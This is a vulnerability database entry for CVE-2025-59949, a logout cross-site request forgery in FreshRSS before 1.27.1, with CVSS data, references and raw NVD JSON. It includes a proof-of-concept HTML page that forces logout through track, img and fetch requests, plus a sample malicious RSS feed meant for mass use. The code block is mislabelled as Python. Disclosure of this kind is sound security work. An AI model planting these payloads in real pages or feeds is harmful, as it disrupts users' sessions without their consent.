CVE-2025-59949

Description

FreshRSS is a free, self-hostable RSS aggregator. Versions prior to 1.27.1 have a logout cross-site request forgery vulnerability that can lead to denial of service via <track src>. Version 1.27.1 patches the issue.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:* - VULNERABLE

FreshRSS < 1.27.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-59949 -->
<!-- FreshRSS Logout CSRF via track src -->
<!DOCTYPE html>
<html>
<head>
    <title>FreshRSS CSRF PoC</title>
</head>
<body>
    <h1>FreshRSS Logout CSRF Attack</h1>
    
    <!-- Method 1: Using track src -->
    <track src="http://target-freshrss-instance/i/?r=1&amp;rid=logout">
    
    <!-- Method 2: Using img tag -->
    <img src="http://target-freshrss-instance/i/?r=1&amp;rid=logout" style="display:none">
    
    <!-- Method 3: Using script with auto-submit -->
    <script>
        // Auto-submit logout request
        fetch('http://target-freshrss-instance/i/?r=1&rid=logout', {
            method: 'GET',
            credentials: 'include'  // Include user's cookies
        });
    </script>
    
    <p>This page will automatically force logout from FreshRSS.</p>
    <p>Replace 'target-freshrss-instance' with the actual FreshRSS URL.</p>
</body>
</html>

<!-- RSS Feed Injection PoC (for mass attack) -->
<!--
<rss version="2.0">
  <channel>
    <title>Malicious RSS Feed</title>
    <item>
      <title>Click here for amazing content</title>
      <description>
        <![CDATA[
          <track src="http://target-freshrss-instance/i/?r=1&rid=logout">
        ]]>
      </description>
    </item>
  </channel>
</rss>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59949
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59949
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59949/
[4] VulDB https://vuldb.com/cve/CVE-2025-59949
[5] https://github.com/FreshRSS/FreshRSS/pull/7958
[6] https://github.com/FreshRSS/FreshRSS/pull/7997
[7] https://github.com/FreshRSS/FreshRSS/pull/7999
[8] https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-w7f5-8vf9-f966
[9] https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-w7f5-8vf9-f966

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59949", "sourceIdentifier": "[email protected]", "published": "2025-12-18T19:16:30.847", "lastModified": "2025-12-30T19:52:57.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreshRSS is a free, self-hostable RSS aggregator. Versions prior to 1.27.1 have a logout cross-site request forgery vulnerability that can lead to denial of service via <track src>. Version 1.27.1 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.27.1", "matchCriteriaId": "45ABCE18-349F-42D0-AB2F-668F7D3F91A1"}]}]}], "references": [{"url": "https://github.com/FreshRSS/FreshRSS/pull/7958", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/7997", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/7999", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-w7f5-8vf9-f966", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-w7f5-8vf9-f966", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}